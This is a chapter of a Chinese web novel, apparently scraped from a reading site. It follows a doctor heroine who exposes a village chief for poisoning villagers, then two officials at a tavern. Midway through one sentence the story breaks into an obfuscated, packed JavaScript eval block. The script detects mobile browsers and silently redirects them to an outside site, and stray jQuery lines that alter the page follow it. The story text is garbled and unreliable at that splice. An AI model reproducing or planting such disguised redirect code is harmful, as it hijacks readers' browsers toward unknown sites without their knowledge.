33. 第 33 章

作品:《夜行医碰上白日呻吟病秧子

    有关他女儿的事从来都是最重要的。


    参叔几乎毫不犹豫地立刻点头,眼神坚定,下一瞬又有些迷茫。


    “但是,为什么他会……不,不应该啊……”


    仿佛如同佐证许君安的猜想,院门口传来一阵嘈杂声,其中一道声音让楚昱和许君安极其耳熟。


    是班青阳。


    几乎在许君安猜到门外来人的同时,有一个年约四十的中年男子拉扯着那个瘦弱的身影出现在所有人的面前,前者丝毫不顾及班青阳踉跄的脚步,硬生生拖着过来。


    所有人的脸色一瞬间变得僵硬,紧张和防备立刻涌上心头。村长却依然摆着一副笑嘻嘻的面孔,慢悠悠地指着他带过来的班青阳,颇有礼貌地询问:


    “打扰各位,有谁今天曾经拜访过这个人吗?”


    话音未落,另一个身影同时出现在两人背后,跨过门槛跟过来。黑灰色的斗篷,略微矮小的身量,让昨夜的记忆重新复现,楚昱心底闪过一丝慌乱。


    他现在无比确认,这两个人要找的就是许君安。


    是看到药方了,对吗?


    他不认为恐吓所有人吃人肉的村长会是什么心慈手软的人,自然也不能让她落入这帮人的手里。


    许君安看到楚昱已经条件反射地将手扣在自己腰间的蝴蝶刀上,也看到村长渐渐变得凶狠的表情。


    “所有前天留宿的人,红疹已经消掉大半,而我们想请那个妙手回春的人去看一个特殊的病人,当然我们现在是请求,之后可就保不齐是什么态度了。”


    参叔心底想要保全那俩孩子,加上清南还得到过救治,便不想告诉村长实情。


    安静的时间持续半炷香,村长此时脸上没有任何笑意,被掐着脖子的班青阳喉咙里发出赫赫声,他的脸色逐渐发紫,几乎喘不上气。


    气氛逐渐僵化。


    “……给过你们机会,没有人站出来的话,就把你们都带去给她陪葬,大家一起死。”


    冰冷不近人情的女声,从斗篷里面阴森森的飘出,看不出开玩笑的成分。


    一脸痛苦狰狞的班青阳,出于担心频频看向清南屋子的参叔,蓄势待发的楚昱。


    所有的所有,都成为了压垮许君安的稻草,她忍不住攥紧自己的手,终于开口:


    “药方是我写的,我是你们要找的人,和其他人无关。”


    “你!”


    楚昱猛地转头,却只见许君安往前走,经过他身边时对他微微摇头。


    不要担心我。


    那个斗篷人上前几步,走到许君安的面前,缓缓摘下斗篷,露出了一张清丽的面容,眼神里流露出绝望和哀伤,徐徐开口:


    “放了班青阳吧,他本就是一个工具,你跟我走!”


    话音刚落,只见掐着班青阳脖颈的手骤然松开,意识到自己被放开的同时他慌忙跑到寒笙和楚昱身后,不受控地开始大口呼吸,像是一条濒死的鱼。


    就在斗篷人想要拉扯许君安的衣袖走的一瞬间。


    扑通!


    “等下!寒笙……寒笙他……”


    斗篷人脚步一顿,而许君安猛然回头,发现那个倒在地上面色泛红的人,正是刚才还活蹦乱跳的寒笙!他的反应和之前所有患病的人一样,红疹已经开始出现在他的手背上。


    这副场景让许君安霎时清醒,眉头紧皱。


    为什么寒笙会出现症状?!


    很近了!


    她能感觉到自己离真相已经很接近了,努力地想把本已经清晰的线索拼凑到一起。


    就是此时!


    楚昱抓住这一时机甩出蝴蝶刀,几步窜上前贴近许君安,手腕一转,白刃掠过她的袖口,随即带着她错后,须臾之间拉开两人的距离。


    身手如此迅速,以至于一呼一吸之间,她只看见红色残影,人已经被带离薛岚月身边。


    那抹白刃横在楚昱和薛岚月之间,刃上的鹰隼图样在阳光下越发显眼。


    “这是?!”


    许君安的瞳孔在看到图案后一瞬发散。


    莫名有些想哭。


    挡在自己身前的少年没有顾及她正在思考什么,只是一味地扫视在眼前的村长和薛岚月,中气十足的警告回荡在整个院落。


    “人要不要被你带走,取决于我愿不愿意!”


    楚昱一边死死抓着许君安的手臂,一边偏头低声劝她:


    “许君安,火铳丢了也就罢了,老大给你的暗器是让你耍着玩的?他要是知道你带着武器还这么听话,你就是他逢人必谈的笑话了!”


    ……


    许君安愣了一会儿,随即低头笑了笑。


    “抱歉,可能是我……害怕有人死在我面前吧。”


    她先是走到寒笙那边蹲下看了看情况,之后抬头,锐利的眼神扫过那两个不速之客,视线停在那个面容清丽的女子身上,嘴唇微微勾起,“但是我突然觉得该害怕的另有其人,对吧,那个想求我救人的斗篷人?”


    她紧接着又将目光投向站在一旁等候女子发令的村长,笑得更加肆无忌惮,“以及那个往各家各户石像上抹这种能招致红疹的毒物的人,就是你吧,村长?”


    隔天午时,墨州城内,醉仙楼。


    毗邻江边,水天一色,从一楼散座窗户看去,江面上已然铺上一层薄冰,远处的天际线


    醉仙楼本就是墨州城里数一数二的酒楼,食客来往不绝,而墨州民风淳朴,散座里听戏跳舞的,划拳赌钱的大有人在,当然光喝酒吃肉的也不在少数。


    靠近门口那一桌坐着的两个人尤其安静,只不过一个啃着鸭腿乐不思蜀,一个愁眉苦脸喝酒浇愁。


    “唔……大哥,看着我作何?你也吃你也吃……”


    “嘶……辣子好够味儿,不行了……嘶哈……水!水!”


    刘弈歌颇为无奈地看着赵三在那边好似要喷火的狰狞表情,原本紧皱的眉头稍微舒展,拿过酒壶接着往自己杯里续。


    “咕咚咕咚……哈……活过来了,大哥你为啥看起来不高兴啊?咱们不是已经查到了最后一批砖石材料有假,那应该计划很顺利啊……”


    赵三看刘弈歌只是幽幽撇了他一眼,便拿起旁边的酒杯闷头灌下,随即眯起眼睛贼嘻嘻地笑了起来。


    “嗝,大哥你不说,那我就猜了!你在想为什么你比她出发晚还比她早到……”


    赵三还未得意洋洋说完,嘴里立刻又被刘弈歌眼疾手快地塞进一个包子,就像恶魔恐吓一般,不怀好意的叮嘱顺着嘈杂的环境进入他的耳朵,他不动声色地捏紧赵三的肩膀,带着虚伪的笑容加重了力气。


    “赵三,闲的没事干我是可以把你扔进庭狱的,不如我送你一程?”


    赵三一听,双眼瞪的老大,连包子都不嚼了,眼底之前的高兴化作乌有,使劲摇着头。


    半晌,等刘弈歌专注灌自己酒,不再看他这边,赵三才偏头开始嘀嘀咕咕:


    “矫情的很啊……”


    刘弈歌暂时还不想理他,不过话说回来,赵三刚才恰恰说中了他的想法,分毫不差。


    而且还有一点让他放心不下,就是已经三天没有音信的楚昱。


    借助机巧老鹰传递两人的位置是楚昱经常做


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14783241|157994||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    的事,但是不知什么缘故,前天开始传递就毫无理由地停止了。


    他刘弈歌愿意往最坏的地方去想,因为除了他,楚昱是唯一一个可以毫发无损的从庭狱里出来的人,这也是他为何选楚昱跟着许君安去的原因。


    放下酒杯,刘弈歌从怀中取出那张纸条,上面的字是带着独属于楚昱的谨慎。


    最早看到的时候他很意外,毕竟做事潇洒如楚昱,写的字却认真过了头。


    “已至黎岭,吴家村一带,昱。”


    然而在刘弈歌的眼里,这简略的话语却让人放不下心,毕竟自己这两天可以感受到双膝越发肿痛是事实,自己也快习惯两种毒性在自己体内撕扯时所带来的痛意。


    远处的江面上停歇两只飞鸟,时不时伸脖扎猛子进冰层下的江水找鱼,一抬头仍是无功而返的失落模样。


    本来就对她治自己的病没抱希望,毕竟在她眼里,自己只是这一个月突然出现的陌生人。


    仅仅刚才一炷香内,足以让饿得发慌的赵三酒足饭饱,开始随意剔牙,然而等他瞥见自己拿来剔牙的细针时,如梦初醒一般,开口将刘弈歌的思路扯到饭桌上。


    “对了大哥,许君安丢火铳的那天我们立刻派人去找,现在还没找到,线索断了。”


    “断了?”


    “对,那帮流寇背着个大的枪其实很好找,但是最终什么招数都往他们身上使了,打得屁滚尿流的样子都哭着说不知道,他们最终在驿站处打听到一个公子打尖住店时,此人家仆背后背着大物件,据小二描述那形状和火铳极为相似,兄弟们问他们去哪里长什么样子,就说不知道了。”


    “公子的家仆?大概长什么样子?”


    忽而一阵寒风钻进两人领口,不止刘弈歌这个病人打了个寒噤,就连赵三也下意识的喷嚏连天。


    醉仙楼的门开了。


    “啧啧……长的样子……那几人都穿着不菲,尤其是他们家的公子,长身玉立,眉目温和,举手投足就是那种读书人的酸腐……”


    小二下意识地带着笑意上前去迎,待看清为首男子的云纹锦袍以及腰间悬挂的白虎玉佩时,眼睛骤然发亮,“哟,三位客官里边请!需要上等雅座还是二楼隔间嘞?不瞒三位我们这的拿手菜也可多——”


    为首男子合上手中的折扇,谦恭有礼的微笑给人恰到好处的亲近感,环顾四周后,用扇柄点了点靠窗的那桌。


    “小二盛情招待,感激不尽,我们一行人坐这边就好……”为首的公子还未说完,他身后钻出一个活蹦乱跳的身影,身着紫绡蝶纹的锦袄,抢着说话:


    “来二两烧刀子,一盘桃花酥,哥你和阿穆要吃什么?”


    说罢,那姑娘径直坐到了刘弈歌背后那桌的凳子上,把背上的包裹往旁边座上一扔,发出哐啷声,吸引众多周围人的注意,同时也让那个微笑的公子哥脸色开始僵硬,不知如何是好,只得眼神警告她不许乱来。


    就在此时,原本安静剔牙的赵三顺着声音来源一看,动作骤停的同时眼睛因为惊讶略微睁大。


    “大……大哥!快看!”


    刘弈歌看着赵三的脸色不对劲,顺着他的视线往身后用余光瞅。


    这不瞅不要紧,一瞅这兄弟俩的眼睛就跟粘在那个包裹上一般。


    ……


    可能是上天可怜葛清辛辛苦苦的只给他造了两把火铳,让这两兄弟今天来醉仙楼有额外收获。


    包裹里露出来的金色光泽,以及凭那姑娘扔在凳子上发出的声音进行判断——


    那一瞬间,刘弈歌原本破碎的心又奇迹般的被拼凑完整了。